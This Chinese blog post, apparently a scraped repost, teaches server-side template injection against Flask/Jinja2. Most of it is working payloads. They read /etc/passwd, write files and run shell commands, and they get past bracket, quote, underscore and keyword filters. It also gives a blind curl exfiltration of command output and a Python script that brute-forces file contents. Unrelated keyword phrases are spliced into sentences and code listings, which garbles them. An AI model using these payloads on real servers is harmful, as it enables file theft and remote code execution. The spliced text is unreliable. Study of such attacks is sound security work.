sql注入腳本編寫,python 模板注入_SSTI模板注入

 2023-10-15 阅读 29 评论 0

摘要:前言又劃水了一天,最后劃累了學習了一會,寫了這篇文章,又遇到的hexo遇見花括號解析錯誤的問題,一點點把文章斷點才解決(hexo斷點調試SSTI介紹SSTI,服務端模板注入攻擊,發生在MVA框架的view層中。sql注入腳本編寫、注入原因:

前言

又劃水了一天,最后劃累了學習了一會,寫了這篇文章,又遇到的hexo遇見花括號解析錯誤的問題,一點點把文章斷點才解決(hexo斷點調試

SSTI介紹

SSTI,服務端模板注入攻擊,發生在MVA框架的view層中。

sql注入腳本編寫、注入原因:

服務端接收了用戶的輸入,將未過濾的數據傳給引擎解析,在進行目標編譯渲染的過程中,執行了用戶插入的惡意內容,因而可能導致了敏感信息泄露、代碼執行、GetShell 等問題

測試SSTI的流程方式如下圖:

SSTI for Flask

Flask的模板引擎為Jinja2,而主要出現問題的函數為render_template_string(),并沒有渲染模板文件,直接把字符串渲染到了html,如果不經過過濾則很容易造成惡意代碼注入問題。

flask模板注入。實戰過程

代碼搭建1

2

3

4

sql注入腳本?5

6

7

8from flask import Flask, render_template_string, request

app = Flask(__name__)

python html?def ():

name = request.args.get('name')

template = '

hello {}!

'.format(name)

return render_template_string(template)

app.run()

python編程入門、注入檢測

通過payload:1+1的返回為2可以得知存在注入。

導出config變量和session

可以通過config和session進行導出

讀/寫文件

python 類。讀文件

通過payload

1

2().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()

''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()

python和java、以上兩種payload都可以進行文件讀取

寫文件

同樣也是兩種payload,這里只列舉一種了(其實可以通過Fuzz獲得多種

1{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('test') }}

命令執行1

python 圖形界面,2

3

4

5

6

python腳本庫、7

8

9().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].os.system('ls')

().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").system("ls")')

# 重新載入__builtins__:

python模板注入、().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']("os").system("ls")

"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('__import__("os").system("ls")')

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os']

[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os']

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls"))

python圖形化編程、python3的命令執行

1

2

3

4

python引入自定義模塊,5

6{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}

().__class__.__bases__[0].__subclasses__()[-4].__init__.__globals__['system']('ls')

().__class__.__bases__[0].__subclasses__()[93].__init__.__globals__["sys"].modules["os"].system("ls")

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")

[].__class__.__base__.__subclasses__()[127].__init__.__globals__['system']('ls')

既然可以命令執行,同樣可以反彈shell,可以通過bash進行反彈shell

通過自定義模塊執行命令

通過SSTI將以下內容寫入/tmp/test

1

2

3{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test', 'w').write('from os import systemnCMD = system') }}

{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test', 'w').write('from subprocess import check_outputnRUNCMD=check_output') }}

利用config.from_pyfile對/tmp/test進行編譯執行文件中的內容

可以通過config中的變量進行命令執行

1{{ config['RUNCMD']('/usr/bin/id',shell=True) }}

繞過命令執行過濾

過濾中括號[]

可以用getitem和pop進行繞過過濾

讀取文件1''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()

命令執行1''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.__globals__.linecache.os.popen('ls').read()

過濾引號

chr函數繞過過濾

獲取chr函數,后面直接將文件名字chr出來.payload如下:

1{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read() }}

借助request對象1{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

過濾引號下的命令執行1

2{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}{{ ().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id

過濾雙下劃線

同樣利用request或者__getattr__進行繞過

1{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

命令執行1{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[59][request.args.init][request.args.globals]['linecache'].os.popen('whoami').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__&init=__init__&globals=__globals_

過濾雙括號

利用如下標記,進行盲命令執行1{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}

盲注文件

利用payload

1{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/lihuaiqiu').read()[0:1]=='f' %}~ok~{% endif %}

進行盲注,這里原作者p0的博客中只有post腳本,按照sql盲注的思路我自己也寫了一個GET的腳本

1

2

3

4

5

6

7

8

9

10

11import requests

url="http://127.0.0.1:5000?name="

flag=''

for i in range(32):

for j in range(33,127):

payload="{% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/lihuaiqiu').read()["+str(i)+":"+str(i+1)+"]=='"+chr(j)+"' %}~ok~{% endif %}"

true_url=url+payload

r=requests.get(true_url)

if 'ok' in r.text:

flag+=chr(j)

print flag

運行結果:

最后關于python沙箱逃逸以及Jinja2的一些思考

其實SSTI或者說Python沙箱逃逸,最重要的的幾點還是找object,獲取subclasses,然后對subclasses,進行fuzz,例如找到linecache,catch_warnings這種可以進行危險操作的東西,例如如下腳本的fuzz

1

2

3

4

5

6

7

8

9

10

11{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %}

|% if b.__class__ == {}.__class__ %|

{% if 'eval' in b.keys() %}

{{ b['eval']('__import__("os").popen("ls").read()') }}

{% endif %}

|% endif %|

{% endfor %}

{% endif %}

{% endfor %} //這里面的兩個豎杠其實也是花括號,這里我是為了避免hexo解析錯誤的問題

邏輯就是在subclasses的子類中找到危險子類,可以通過尋找catch_warnings,因為在這個特殊的類中是有__builtins__這種危險屬性的。第二個要說明的點是

1

2

3

4

5

6

7

8

9

10

11

12

13>>>''.__class__.__base__.__subclasses__()

# 返回子類的列表 [,,,...]

#從中隨便選一個類,查看它的__init__

>>>''.__class__.__base__.__subclasses__()[30].__init__

# wrapper是指這些函數并沒有被重載,這時他們并不是function,不具有__globals__屬性

#再換幾個子類,很快就能找到一個重載過__init__的類,比如

>>>''.__class__.__base__.__subclasses__()[5].__init__

>>>''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']

#然后用eval執行命令即可

之前看不是很懂,現在明白了。第三個點是在看一篇博文中發現的問題–Python的一切皆對象思想

Python一切皆對象,對于獲取object類,傳統的獲取方式是().__class__.__base__.subclasses__,但是看到一篇博客后,一些沙雕的局限思維被打開了,這個過濾的部分如下

config

class

mro

args

request

open

eval

builtins

import

過濾掉了class和request有點致命,也就是說我們無法通過[].__class__.__base__.__subclasses__()這種操作獲取基類,也無法通過[][request.args.class]&class=__class__獲取object,但是因為python的一切皆是對象思想,這里的session關鍵字并沒有被過濾,其實session和config也是對象,我們可以通過session構造出object,payload為

1session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]

接著可以通過

1{{session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0].__subclasses__ }}

遍歷出所有子類,但是這里class被過濾了,所以只能通過__bases__[0]['__subcl'+'asses__']進行獲取子類,再接著在里面找我們要找的危險類,這位師傅找的是os._wrap_close,不過我并沒有在自己的python2.7本地環境找到這個class,最終payload為

1{{ session['__cla'+'ss__'].__bases__[0].__bases__[0].__bases__[0].__bases__[0]['__subcla'+'sses__']()[312].__init__.__globals__['po'+'pen']('ls /').read() }}

我本地模擬構造的為

1http://127.0.0.1:5000/?name={{session[%27__cla%27+%27ss__%27].__bases__[0].__bases__[0].__bases__[0].__bases__[0][%27__subc%27+%27lasses__%27]()[40](%27/etc/passwd%27).read()}}

成功讀取了/etc/passwd

第二點學到是__enter__與__init__的相似性

object.__enter__(self)

Enter the runtime context related to this object. The with statement will bind this method’s return value to the target(s) specified in the as clause of the statement, if any.

上文為官方文檔的描述,也就是我們同樣可以通過___enter__來進入我們的對象取代__init__的過濾。

參考資料

版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。

原文链接:https://hbdhgg.com/5/137463.html

发表评论:

本站为非赢利网站,部分文章来源或改编自互联网及其他公众平台,主要目的在于分享信息,版权归原作者所有,内容仅供读者参考,如有侵权请联系我们删除!

Copyright © 2022 匯編語言學習筆記 Inc. 保留所有权利。

底部版权信息